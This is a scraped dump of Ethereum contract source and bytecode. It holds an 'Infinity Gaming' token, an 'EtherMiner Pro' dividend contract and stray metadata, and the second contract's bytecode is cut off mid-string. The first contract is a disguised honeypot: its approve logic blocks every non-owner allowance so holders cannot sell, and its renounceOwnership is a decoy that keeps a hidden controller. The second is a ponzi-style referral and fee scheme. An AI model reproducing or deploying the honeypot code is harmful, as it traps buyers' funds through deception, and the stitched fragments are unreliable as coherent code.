/** *Submitted for verification at Etherscan.io on 2021-12-05 */ /* okenomics Total Supply: 1 Trillion Redistribution: 1% back to holders Locked Liquidity: 2% Development: 2% Marketing & Tournament Pool: 5% Investor Security & Features: Anti-Whale Anti-Dump Anti-Botting Increased Sales Tax for first 24 hours Marketing: Our marketing wallet will be dedicated to expanding our reach to new investors and growing our market cap. We are aggressive innovators who will move fast when the opportunity presents itself 👾 OUR SOCIALS 👾 📍Website: infinitygaming.io 📍Twitter: @InfinityXplay */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract InfinityGaming is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Infinity Gaming ' ; string private _symbol = 'PLAY '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206cbb9983abb03e2bebc7a3610b3d2b9833f475b91f263534b78f287f144acea864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,736
0x0fef20d2c4ee011fa0389e69e9fa92a2291b63c8
pragma solidity ^0.4.25; /* * http://eth-miner.pro * * EthMiner Pro concept * * [✓] 20% Withdraw fee * [✓] 10% Deposit fee * [✓] 1% Token transfer * [✓] 30% Referral link * */ contract EtherMinerPro{ modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "EtherMiner Pro"; string public symbol = "EMP"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 20; uint8 constant internal refferalFee_ = 30; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.0000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610de4565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dea565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e56565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e75565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610ebe565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f26565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112fc565b005b34801561059a57600080fd5b506105a361154b565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b2565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115c4565b005b600080600080600080600080600033975061062f6106288c600a60ff16611738565b6064611773565b965061064961064288601e60ff16611738565b6064611773565b9550610655878761178e565b94506106618b8861178e565b935061066c846117a7565b92506801000000000000000085029150600083118015610698575060065461069684600654611834565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611834565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f98587611834565b945068010000000000000000850291505b600060065411156108755761082160065484611834565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611834565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86600a60ff16611738565b6064611773565b9250610b5e858461178e565b9150610b69826117a7565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611852565b9250610bba610bb384601460ff16611738565b6064611773565b9150610bc6838361178e565b9050809350505050919050565b601281565b6000806000610be76001610dea565b111515610bf357600080fd5b339150610c006000610dea565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610da15764174876e8006402540be400039350610dde565b610db2670de0b6b3a7640000611852565b9250610dcc610dc584601460ff16611738565b6064611773565b9150610dd8838361178e565b90508093505b50505090565b60025481565b60008033905082610e0357610dfe816109f4565b610e4e565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4c826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373fffffff